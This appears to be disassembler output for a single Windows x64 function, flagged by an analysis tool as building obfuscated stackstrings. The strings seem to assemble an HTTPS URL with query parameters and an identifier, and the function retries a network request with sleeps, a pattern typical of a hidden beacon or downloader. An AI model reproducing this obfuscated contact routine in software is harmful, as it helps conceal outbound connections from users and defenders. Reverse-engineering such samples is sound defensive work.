Function at 0x140107e98
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x14016a100]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov r12, r8
mov bl, dl
mov r13, rcx
xor edi, edi
mov r15b, dil
mov byte [r8], dil
mov rdx, rcx
lea rcx, [rsp + 0x58]
call fcn.140014840
nop
mov word [rbp], 0x692f
mov dword [rbp + 3], 0x702e676f
mov dword [rbp + 9], 0x3d693f
mov word [rbp + 7], 0x7068
mov byte [rbp + 2], WSAGetLastError
call fcn.140013c54
mov rcx, rax
test rax, rax
je 0x140108415
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x24], 0x3d7026
mov dword [rbp - 0x27], 0x26323d78
mov word [rbp - 0x22], 0x3d
mov byte [rbp - 0x23], 0x65
mov byte [rbp - 0x28], Ordinal_41
lea r8, [rsp + 0x58]
lea rdx, [rbp]
lea rcx, [rbp - 0x78]
call fcn.14000ea48
nop
lea r8, [rsp + 0x24]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14000eb0c
nop
lea r8, str.b7f142a44b334868a9f4b61ada19a021
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.14000eb0c
nop
lea r8, [rbp - 0x28]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000eb0c
nop
lea rcx, [0x14014b594]
lea r8, [0x14014b5ac]
test bl, bl
cmovne r8, rcx
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.14000eb0c
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140010928
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140107fe0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140108000
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140108020
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x14010803f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x14010805d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
call fcn.140013c54
mov rcx, rax
test rax, rax
je 0x140108420
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov word [rbp + 0x15], 0x2f3a
mov word [rbp + 0x18], 0x7325
mov word [rbp + 0x1b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1a], 0x25
mov byte [rbp + 0x17], Ordinal_50
mov dword [rbp + 0x11], 0x73707474
mov byte [rbp + 0x10], 0x68
mov dword [rbp - 0x10], 0x616f7373
mov dword [rbp - 0xc], 0x632e6d70
mov word [rbp - 7], WSASetLastError
mov byte [rbp - 8], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x48]
call fcn.140014840
nop
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
call fcn.140011a48
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140108101
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r14d, edi
mov rsi, qword [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x20]
call fcn.140087ba0
lea rcx, [rbp + 0x20]
call fcn.140112eb8
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], dil
lea rcx, [rsi - 0x18]
call fcn.140013434
add rax, 0x18
mov qword [rsp + 0x38], rax
mov dword [rbp - 0x20], 0x6d697426
mov word [rbp - 0x1c], 0x3d65
mov word [rbp - 0x19], 0x64
mov byte [rbp - 0x1a], 0x25
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x38]
call fcn.14001381c
mov dword [rsp + 0x28], edi
lea r8, [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
call fcn.1400fc640
test al, al
jne 0x14010819d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1401082df
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], dil
mov edi, dword [rsp + 0x28]
cmp edi, 0x40000
jge 0x140108278
lea r8, [rbp - 0x68]
mov rdx, rbx
call fcn.14010caa4
test al, al
je 0x140108278
cmp qword [rbp - 0x58], 0xa
jae 0x140108278
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rsp + 0x30]
call fcn.140014840
nop
lea rcx, [rsp + 0x30]
call fcn.140010584
mov rcx, rax
call fcn.14001048c
mov word [rsp + 0x20], 0x3031
mov byte [rsp + 0x22], 0
mov rax, qword [rsp + 0x30]
cmp dword [rax - 0x10], 0
jl 0x140108255
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.1400b18fc
mov rcx, rax
test rax, rax
mov rax, qword [rsp + 0x30]
je 0x140108255
cmp ecx, eax
js 0x140108255
mov rdx, r13
lea rcx, [rbp - 0x70]
call fcn.140014840
mov rcx, rax
call fcn.140100fe8
mov rax, qword [rsp + 0x30]
lea rdx, [rax - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14010826f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov edi, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
lea eax, [rdi - 0x10]
cmp eax, 0x3fff0
ja 0x14010830c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1401082cd
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401082c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010840f
call fcn.1400853e0
xor edi, edi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], dil
lea rdx, [rbx - 0x18]
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1401082fd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
inc r14d
cmp r14d, 5
jl 0x140108109
jmp 0x140108386
mov byte [r12], 1
cmp edi, 0x40000
setg r15b
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140108356
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140108351
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010840f
call fcn.1400853e0
xor edi, edi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], dil
lea rdx, [rbx - 0x18]
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140108386
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov eax, ebx
lock xadd dword [rsi - 8], eax
add eax, ebx
test eax, eax
jg 0x1401083a2
mov rcx, qword [rsi - 0x18]
mov rax, qword [rcx]
lea rdx, [rsi - 0x18]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1401083c2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov ecx, ebx
lock xadd dword [rdx + 0x10], ecx
add ecx, ebx
test ecx, ecx
jg 0x1401083e2
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov al, r15b
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140085010
mov rbx, qword [rsp + 0x298]
add rsp, 0x240
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140094f58
nop
mov ecx, 0x80004005
call fcn.140014608
nop
mov ecx, 0x80004005
call fcn.140014608
int3